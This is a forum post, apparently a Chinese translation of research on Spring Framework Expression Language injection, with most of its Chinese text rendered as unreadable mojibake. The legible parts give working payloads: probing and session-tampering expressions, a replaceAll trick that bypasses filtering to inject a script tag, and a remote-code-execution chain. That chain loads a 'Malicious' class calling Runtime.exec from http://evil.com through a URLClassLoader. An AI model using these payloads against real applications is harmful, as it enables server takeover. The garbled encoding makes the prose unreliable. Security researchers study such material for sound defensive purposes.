admin 2013-2-16 21:47:24

spring-Զ̴ע

Remote Code with
Expression Language Injection
Spring FrameworkԡDanAmodio
ȫ糬22,000֯Ѿ131.4ʱSpring Frameworkʹҵ
ܻڷա
2011꣬Minded Security Stefano Di Paola Aspect Security
Arshan Dabirsiaghi Spring FrameworkзһȤģʽStefanoExpression Language (EL) ע롣ǵķ¶ijЩ˫صĽEL spring ǩ
й¶ϵݡspring ṩ˶jsp/servletEL֧֣
ԴΪ¼ݵһַʽjsp2.0֮ǰEL Dzֵ֧ġڵǰ
汾Ĭϴ򿪵ģӦóʹ˴ģʽܹġ
ÿӦó򲢲ַxss㣬ȻȺ͹ȣ
ǸSonatypeµͳ֪ȫ糬22,000֯Spring 3.0.5°
Ѿ131.4 Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads
Щ汾ֽ֧double EL resolution.
ԭӰϢй¶ҽ˵Glassfish
EL2.2ϿܽԶ̴ִС
һԭʼϢй¶Ĺӣ

ttp://vulnerable.com/foo?message=${applicationScope}
ҳ棺
һЩڲϢcalsspath ͱعĿ¼
ҲһЩ飬
${9999+1}
Էsession beans
${employee.lastName}
ִGlassfishϿͻӦó͸ʱͬģʽ֪
EL ע룬˶IJԺȷһ֣ͬʱȥھһЩζĶ
XSS.
Ӧóֹҵȥˡǩ
ͻ룬롰ҿJAVAнַݣΪʲôҲELƹ
أ
ˣҳ£�
http://vulnerable.com/app?code=${param.foo.replaceAll(P,Q)}foo=PPPP
P
ע⵽صĴʱQQQQQ,String.replaceall ѾãԷ
صıspring:message ǩ
һƹ˵ʵ
http://vulnerable.com/app?code=${param.foo.replaceAll(P,)}&foo=PscriptQalert(1);P/scriptQ
еĺܺãһСʱʲôû롣ȻʶġΪ
ʲôEL뷽,һЩ?
һоѧϰEL2.2 ˷á
дһٲӦó벢ҼһЩ
${pageContext.request.getSession().setAttribute(account,123456)}
${pageContext.request.getSession().setAttribute(admin,true)}
ˣỰ޸һԵķաӴ󣬵ûһֱӵ
ָpageContext,Ҳҿʹ÷䣬String.getClass().forName(string)
${.getClass().forName(java.net.Socket).newInstance().connect(127.0.0.1
, 1234)}
${.getClass().forName(java.lang.Runtime)}
ۣûзڿԽӴκζԵġҵǣDz
ܵnewinstance()ʼΣࣨRuntimeûṩĬϵĹ캯
޷󡣵nullһ飬getMethods().invoke()
һЩ⡣ڴݵ֮ǰEL ƺΪһֵַҲ²
ǩinvoke(Object obj, Object„ args)
Jeff Williams (Aspect Security OWASPĴʼ) Arshan,Ҷ˼
⣬Թ
©ã
ǽײҵԴbangbang죬Ѿþ뷨ǹ
ϣеһЩJAVAŸ˵ĿЦ
һЩԹʧܵΪͼ
 дļļϵͳ
 ͼorg.springframework.expression.spel.standard.SpelExpressionParser.
ΪЩԺܺõĹҲҵʵ롣
${pageContext.getClass().getClassLoader().loadClass(org.springframework.expression.spel.standard.SpelExpressionParser)}
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:
org.springframework.expression.spel.standard.SpelExpressionParser not found
by
org.glassfish.web.javax.servlet.jsp .
 ÷޸java.lang.Runtime.currentRuntimeΪPublic
 ÷һµRuntime(and watch the world burn)
${pageContext.request.getSession().setAttribute(rtc,".getClass().forName
(java.lang.Runtime)).getDeclaredConstructors())}
${pageContext.request.getSession().getAttribute(rtc).setAccessible(true)}
 ʹjava.lang.ProcessBuilder
 ñʽʽ
Expression-ception ҿˣ岢ûκʵ.
${pageContext.getExpressionEvaluator().parseExpression(pageContext.request
,".getClass(),null)}
 һObjectInputStreamлһಢΪһͣҲе
ʹһͨMethod.invoke()ʱʧ˺ܶ
.getClass().forName(java.lang.Runtime).getMethods().invoke(param.foo
.getClass().forName(java.lang.Runtime),".getClass().forName(java.util.A
rrayList).newInstance().toArray())
java.lang.IllegalArgumentException: wrong number of arguments
һұһǰܵõһURLClassLoaderҿ
Դһclassļָװ.
дһJAVA ࣬ͼ򿪷ϵļ֤Զ̴ִУ
public class Malicious {
public Malicious() {
try {
java.lang.Runtime.getRuntime().exec(open -a Calculator); //Mac
java.lang.Runtime.getRuntime().exec(calc.exe); //Win
} catch (Exception e) {
}
}
ǴһбڹһµURLClassLoader,Ҫ洢ڻ
УԱʹ.
${pageContext.request.getSession().setAttribute(arr,".getClass().forName
(java.util.ArrayList).newInstance())}
URLClassLoader ṩһnewInstance URL顣Ҫ
һµİǶ·URLServletContextṩһURL
getResource(string) DzֱӴһµʵȻURIṩһ
ǿԵõcreate(string)ȻתһURL
${pageContext.request.getSession().getAttribute(arr).add(pageContext.getServletContext().getResource(/).toURI().create(http://evil.com/path/to/wh
ere/malicious/classfile/is/located/).toURL())}
ȻǷһURLClassLoaderָʾnewInstance Աã
ļװزԶ̴.
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
xt.request.getSession().getAttribute(arr).toArray(pageContext.getClass().
getClassLoader().getParent().getURLs())).loadClass(Malicious).newInstance
()}
ҳ: [1]
鿴汾: spring-Զ̴ע